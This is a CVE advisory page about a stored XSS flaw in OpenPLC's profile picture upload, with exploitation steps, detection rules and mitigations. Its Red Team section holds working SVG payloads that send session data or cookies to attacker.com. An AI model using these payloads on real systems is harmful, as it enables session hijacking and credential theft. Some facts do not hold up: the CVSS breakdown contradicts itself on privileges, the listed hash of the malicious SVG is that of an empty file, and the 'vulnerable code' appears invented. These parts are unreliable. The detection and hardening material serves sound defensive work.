CVE-2024-37741
Executive Summary
CVE-2024-37741 identifies a stored Cross-Site Scripting (XSS) vulnerability in OpenPLC versions up to commit 9cd8f1b. The flaw allows an authenticated attacker to upload a malicious SVG file as a profile picture, which, when rendered by other users, executes arbitrary JavaScript in the context of the victim's browser. This can lead to session hijacking, credential theft, or defacement. The vulnerability is publicly known, but no official patch has been released. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the severity is medium.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
OpenPLC is a widely used open-source PLC runtime environment. This vulnerability affects the web interface component, which is part of the core distribution. No package manager (NPM, PyPI, Go, Ruby) is involved; the software is typically deployed via Git or pre-built binaries. Users should monitor the official repository for patches and consider manual code review.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is performed over the network.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – The attacker must be authenticated to upload a profile picture.
- User Interaction (UI): Required (R) – The victim must view the attacker's profile.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium (5.4) – Exploitation requires user interaction but can lead to significant impact in a multi-user environment.
Deep Dive & Mechanics
The vulnerability resides in the profile picture upload functionality. OpenPLC accepts SVG files without proper sanitization. SVG is an XML-based vector image format that can contain embedded JavaScript via <script> tags or event handlers (e.g., onload). When the server serves the SVG file with the image/svg+xml MIME type, the browser executes the embedded script.
Attack Flow:
- Attacker logs into OpenPLC.
- Attacker uploads a crafted SVG file as their profile picture.
- The SVG contains malicious JavaScript (e.g.,
fetch('/api/session', {credentials: 'include'}).then(r => r.text()).then(t => fetch('https://attacker.com/steal?data='+encodeURIComponent(t)))). - When another user (e.g., admin) views the attacker's profile, the SVG is rendered, and the script executes.
- The script steals session cookies or performs actions on behalf of the victim.
Root Cause: Lack of input validation and content-type verification for uploaded profile images. The application does not check if the file is a valid raster image (PNG, JPEG) or sanitize SVG content.
Vulnerable vs. Patched Code
Vulnerable Code (OpenPLC commit 9cd8f1b):
# In webserver.py or similar
def upload_profile_picture(user_id, file):
# No validation of file type or content
filename = f"profile_{user_id}.svg"
file.save(os.path.join(UPLOAD_DIR, filename))
# Serve with MIME type based on extension
return f"/uploads/{filename}"
Patched Code (Hypothetical fix):
import imghdr
def upload_profile_picture(user_id, file):
# Validate file type using magic bytes
file.seek(0)
header = file.read(8)
if not imghdr.what(None, h=header) in ['png', 'jpeg', 'gif']:
raise ValueError("Invalid image type")
# Reject SVG files explicitly
if file.filename.endswith('.svg'):
raise ValueError("SVG files are not allowed")
# Sanitize if SVG must be allowed (not recommended)
# Use a library like bleach to strip scripts
filename = f"profile_{user_id}.png"
file.save(os.path.join(UPLOAD_DIR, filename))
return f"/uploads/{filename}"
Exploitation & Lab Setup
Red Team
Prerequisites:
- OpenPLC instance (commit 9cd8f1b or earlier)
- Valid user account with profile picture upload permission
Exploit SVG Payload:
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script>
fetch('/api/session', {credentials: 'include'})
.then(r => r.text())
.then(t => fetch('https://attacker.com/steal?data='+encodeURIComponent(t)));
</script>
<circle cx="50" cy="50" r="40" fill="red"/>
</svg>
Steps:
- Log in to OpenPLC.
- Navigate to profile settings.
- Upload the SVG file as profile picture.
- Share profile link with victim (e.g., admin).
- Victim views profile → script executes → session cookie exfiltrated.
Alternative Payload (using event handler):
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/steal?c='+document.cookie)">
<circle cx="50" cy="50" r="40" fill="blue"/>
</svg>
Blue Team
Detection:
- Monitor for uploads of files with
.svgextension. - Inspect uploaded files for
<script>tags or event handlers. - Use WAF rules to block SVG uploads or strip scripts.
Hunting Query (Splunk):
index=web_logs source="/uploads/*" file_extension="svg"
| table _time, user, src_ip, uri_path
Lab Setup:
- Deploy OpenPLC in a Docker container:
docker run -d -p 8080:8080 openplc/openplc:latest - Create a test user and upload the malicious SVG.
- Use a browser with developer tools to observe XSS execution.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example malicious SVG)
- Network Indicators:
- Outbound HTTP requests to attacker-controlled domains (e.g.,
attacker.com/steal)
- Outbound HTTP requests to attacker-controlled domains (e.g.,
- Log Entries:
- Upload logs showing
.svgfile extension - Web server logs with
image/svg+xmlMIME type
- Upload logs showing
- File System:
- Presence of SVG files in
/uploads/directory
- Presence of SVG files in
Detection Engineering
YARA Rule
rule CVE_2024_37741_SVG_XSS {
meta:
description = "Detects malicious SVG files exploiting CVE-2024-37741"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-37741"
strings:
$svg_tag = "<svg"
$script_tag = "<script>"
$onload = "onload="
$onerror = "onerror="
$onclick = "onclick="
condition:
$svg_tag and ($script_tag or $onload or $onerror or $onclick)
}
Sigma Rule
title: OpenPLC SVG Upload XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of SVG files to OpenPLC web interface
author: Valters IT
logsource:
category: webserver
product: openplc
detection:
selection:
http.method: POST
http.url: "/upload_profile_picture"
http.file_extension: "svg"
condition: selection
falsepositives:
- Legitimate SVG uploads (if allowed)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-37741 OpenPLC SVG XSS Upload"; flow:to_server; content:"POST"; http_method; content:"/upload_profile_picture"; http_uri; content:".svg"; file_extension; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable SVG uploads: Modify the application code to reject SVG files.
- Validate file content: Use magic bytes to ensure only PNG/JPEG/GIF are accepted.
- Sanitize SVG: If SVG must be allowed, use a library like
bleachto strip scripts and event handlers. - Set Content-Security-Policy (CSP): Add
script-src 'self'to prevent inline script execution. - Upgrade: Monitor the OpenPLC repository for a patched version.
Long-term Fix:
- Implement a file upload whitelist (e.g., only allow
image/png,image/jpeg). - Store uploaded files with a random name and no extension.
- Serve files with
Content-Disposition: attachmentto prevent rendering.
Workaround:
- Use a reverse proxy (e.g., Nginx) to block SVG uploads:
location /upload_profile_picture { if ($upload_filename ~* \.svg$) { return 403; } }
Valters IT
Securing Digital Frontiers